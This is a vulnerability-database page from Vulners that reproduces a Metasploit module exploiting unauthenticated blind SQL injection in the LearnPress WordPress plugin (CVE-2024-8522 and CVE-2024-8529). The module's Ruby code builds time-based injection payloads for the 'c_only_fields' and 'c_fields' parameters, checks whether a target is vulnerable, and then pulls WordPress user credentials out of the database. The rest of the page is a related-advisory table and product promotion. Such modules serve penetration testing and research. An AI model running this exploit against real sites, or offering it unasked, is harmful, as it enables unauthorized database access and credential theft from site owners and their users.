Lucene search
+L

WordPress LearnPress Unauthenticated SQLi (CVE-2024-8522, CVE-2024-8529)

🗓️ 11 Sep 2024 00:00:00Reported by abrahack, Valentin Lobstein, Achref Ben Thameur a.k.a achrefthameurType 
metasploit
 metasploit
🔗 www.rapid7.com👁 585 Views

WordPress LearnPress Unauthenticated SQLi, allows unauthenticated attackers to exploit blind SQL injections and extract sensitive information

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
WordPress LMS 4.2.7 SQL Injection Vulnerability
23 Sep 202400:00
–zdt
githubexploit
GithubExploit
Exploit for SQL Injection in Thimpress Learnpress
19 Sep 202407:04
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Thimpress Learnpress
12 Oct 202420:52
–githubexploit
bdu_fstec
BDU FSTEC
LearnPress REST API SQL Injection
18 Feb 202500:00
–bdu_fstec
circl
Circl
CVE-2024-8522
12 Sep 202410:08
–circl
circl
Circl
CVE-2024-8529
12 Sep 202411:51
–circl
cnnvd
CNNVD
WordPress plugin LearnPress has a SQL injection vulnerability.
12 Sep 202400:00
–cnnvd
cnnvd
CNNVD
WordPress plugin LearnPress has a SQL injection vulnerability.
12 Sep 202400:00
–cnnvd
cve
CVE
CVE-2024-8522
12 Sep 202408:30
–cve
cve
CVE
CVE-2024-8529
12 Sep 202408:30
–cve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::Remote::HTTP::Wordpress::SQLi

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress LearnPress Unauthenticated SQLi (CVE-2024-8522, CVE-2024-8529)',
        'Description' => %q{
          The LearnPress WordPress LMS Plugin up to version 4.2.7 is vulnerable to SQL injection via
          the 'c_only_fields' and 'c_fields' parameters. This allows unauthenticated attackers to exploit blind SQL injections
          and extract sensitive information.
        },
        'Author' => [
          'abrahack',                              # Vulnerability Discovery
          'Valentin Lobstein',                     # Metasploit Module
          'Achref Ben Thameur a.k.a achrefthameur' # Help for CVE-2024-8529 reproduction
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-8522'],
          ['EDB', '52171'],
          ['CVE', '2024-8529'],
          ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/learnpress/learnpress-wordpress-lms-plugin-427-unauthenticated-sql-injection-via-c-only-fields'],
          ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/learnpress/learnpress-wordpress-lms-plugin-427-unauthenticated-sql-injection-via-c-fields']
        ],
        'Actions' => [
          ['CVE-2024-8522', { 'Description' => 'SQL Injection via c_only_fields parameter' }],
          ['CVE-2024-8529', { 'Description' => 'SQL Injection via c_fields parameter' }]
        ],
        'DefaultAction' => 'CVE-2024-8522',
        'DefaultOptions' => { 'SqliDelay' => '2', 'VERBOSE' => true },
        'DisclosureDate' => '2024-09-11',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options [
      OptInt.new('COUNT', [false, 'Number of rows to retrieve', 1]),
    ]
  end

  def run_host(_ip)
    if action.name.downcase.include?('cve-2024-8529')
      sqli_param = 'c_fields'
      description = 'CVE-2024-8529'
      path = '/wp-json/lp/v1/courses/archive-course'
      additional_params = { 'return_type' => 'json' }
    else
      sqli_param = 'c_only_fields'
      description = 'CVE-2024-8522'
      path = '/learnpress/v1/courses'
      additional_params = {}
    end

    print_status("Performing SQL injection for #{description} via the '#{sqli_param}' parameter...")

    @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|
      random_negative_number = -Rex::Text.rand_text_numeric(2).to_i
      vars_get = { sqli_param => "IF(COUNT(*)!=#{random_negative_number},(#{payload}),0)" }.merge(additional_params)

      vars_get['rest_route'] = path if action.name.downcase.include?('cve-2024-8522')

      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, path),
        'vars_get' => vars_get
      })

      fail_with(Failure::Unreachable, 'Connection failed') unless res
    end

    fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') unless @sqli.test_vulnerable
    print_good('Target is vulnerable to SQLi!')

    wordpress_sqli_initialize(@sqli)
    wordpress_sqli_get_users_credentials(datastore['COUNT'])
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation